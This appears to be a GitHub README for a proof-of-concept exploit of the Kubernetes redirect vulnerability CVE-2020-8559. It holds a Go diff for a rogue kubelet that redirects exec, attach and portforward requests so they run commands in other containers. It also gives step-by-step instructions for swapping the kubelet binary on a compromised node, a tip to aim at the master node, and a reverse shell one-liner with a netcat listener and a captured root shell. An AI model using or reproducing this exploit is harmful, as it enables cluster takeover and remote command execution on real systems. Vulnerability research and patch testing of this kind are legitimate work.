/CVE-2020-8559

This is a PoC exploit for CVE-2020-8559 Kubernetes Vulnerability

BSD 3-Clause "New" or "Revised" LicenseBSD-3-Clause

Kubernetes CVE-2020-8559 Proof of Concept PoC Exploit

This is for demonstration purposes only. Only for use on systems you are authorized to preform administrative actions on and are authorized to exploit CVE-2020-8559 on

This is a PoC for CVE-2020-8559 This vulnerability allows an attacker who has gotten root on a Node to execute commands on any other Container in the cluster allowing the attacker to take over the Kubernetes Master Node.

This vulnerability is due to the fact that the Kubernetes API Server and kubectl command will follow HTTP Redirects combined with the fact that the Kubernetes API just puts all of the components of an API request into the URL i.e. Node name, Pod name, Container name, and even the Command. Therefor, if the Kubelet process responds to /exec, /attach, /portforward, or any resource: proxy action with a HTTP 302 Redirect with a Location header which says to execute a different command on a different Node in a different Container the Kubernetes API Server or kubectl command will happily make a new request for whatever is in the Location header.

Kubernetes Repo with my PoC Code

You can download my forked version of Kubernetes and switch to my branch to build the exploit kubelet binary.
This branch is based on the v1.15.9 tag.

git clone -b CVE-2020-8559 --single-branch git@github.com:tdwyer/kubernetes.git

Git diff

diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

Configure

This PoC will just send 302 HTTP Redirect with a hard coded Location header, so you will need to edit kubernetes/pkg/kubelet/server/server.go and update host, namespace, pod, container, and command

ProTip: List all of the Pods in the cluster. Then, configure this to execute commands on a Pod running on the Kubernetes Master Node in order start a reverse shell back to you in order to take over the cluster

Build

After Configuring the attack, build a rogue kubelet binary

cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

Attack

  1. Get root on a Node
  2. Copy the rogue kubelet binary to the Node
  3. Stop the kubelet process and over-write the binary with the rogue binary
    Find the PID of the kubelet process
    ps aux |grep kubelet
    Kill the kubelet process and copy the rogue binary into place
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. Kill the kubelet process again so that it will re-start with the rogue binary
    Find the PID of the kubelet process
    ps aux |grep kubelet
    Kill the kubelet process
    sudo kill $PID
  5. If configured to attack an admin using the kubectl command on their local workstation, This command should return the hostname of the Victim Container instead of the container it should have been executed on
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

You can also start a reverse shell back you from any Container with

  1. Start netcat listening on your workstation
    nc -lv 4444
  2. Use this command instead however you'll need to encode this. I'll update the exact way after I figure it out.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

Success :D

[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#